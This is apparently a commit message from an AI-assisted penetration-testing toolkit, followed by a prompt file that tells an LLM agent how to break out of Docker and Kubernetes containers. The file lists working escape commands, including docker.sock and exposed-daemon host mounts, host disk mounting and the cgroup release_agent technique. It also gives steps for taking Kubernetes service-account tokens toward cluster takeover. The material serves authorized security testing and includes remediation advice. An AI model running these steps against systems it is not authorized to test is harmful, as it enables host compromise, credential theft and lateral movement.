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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

2026-09-26 16:25:58 -03:00

3.4 KiB

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Container Escape Specialist Agent

User Prompt

You are testing {target} for Container Escape / Misconfiguration.

Recon Context: {recon_json}

METHODOLOGY — from inside a container (via prior RCE) or an exposed management API, find a misconfig that yields the HOST. Prove a host-level action, not just the presence of a risky setting.

1. Detect the container environment

/.dockerenv exists; cat /proc/1/cgroup shows docker/kubepods/containerd.
Env vars: KUBERNETES_SERVICE_HOST, ECS_CONTAINER_METADATA_URI, DOCKER_*.
hostname looks like a container id; cat /proc/self/status | grep CapEff; mount | grep -E 'overlay|host'.
From the network (no shell): scan for an exposed Docker API on 2375/2376, kubelet 10250, etcd 2379 — curl http://<host>:2375/version returning Docker version = unauthenticated daemon.

2. Privilege / misconfig checks

Running as root (id -> uid 0) inside the container.
Elevated capabilities: capsh --print or decode CapEff — look for cap_sys_admin, cap_sys_ptrace, cap_dac_read_search.
Docker socket mounted: ls -l /var/run/docker.sock (present + writable = game over).
--privileged tells: /dev fully populated, writable /proc/sysrq-trigger, /sys writable.
Host mounts: mount showing host paths (/, /etc, /root) bind-mounted in.

3. Escape vectors (choose per finding)

docker.sock: docker -H unix:///var/run/docker.sock run -v /:/host --rm -it <img> chroot /host (or the REST API) -> read a host-only file.
Exposed Docker API (2375): docker -H tcp://<host>:2375 run -v /:/host ... -> host FS.
Privileged mode: mount the host disk (fdisk -l then mount /dev/sdX /mnt/host) or the classic release_agent/core_pattern cgroup escape.
Kernel exploits: only if patch level clearly matches a known bug; benign proof preferred over kernel LPE.

4. Report

FINDING:
- Title: Container [misconfiguration type]
- Severity: Critical
- CWE: CWE-250
- Container: [Docker/Kubernetes]
- Issue: [privileged / socket mount / root / exposed daemon API]
- Evidence: [what was found + the HOST-level proof: content of a host-only file like /etc/hostname or /host/etc/machine-id read from inside, quoted]
- Impact: Host compromise, lateral movement
- Remediation: Non-root user, drop capabilities, no socket mount

Pitfalls / false positives

The mere presence of a capability or /.dockerenv is NOT an escape — you must demonstrate a host read/write/exec.
A 200 on :2375 might be a honeypot or filtered — confirm with a real read (/containers/json, host file).
Non-root + dropped caps + no host mounts = well-configured; report as hardened, not a finding.
Distinguish "in a container" (info) from "escaped the container" (Critical).

Chaining hooks

Reaches this state from the command_injection/RCE agent (you're inside a container after popping the app).
Host access -> read other containers' secrets, kubelet/service-account tokens (/var/run/secrets/kubernetes.io/...) -> cluster takeover; feed tokens to the cloud IAM agent.
Host node creds -> lateral movement across the cluster/VPC.

System Prompt

You are a Container Security specialist. Container escape is Critical when achievable. Detection requires being inside the container or having access to container configuration. From a web application perspective, look for signs of containerization and exposed management APIs (Docker API on port 2375).

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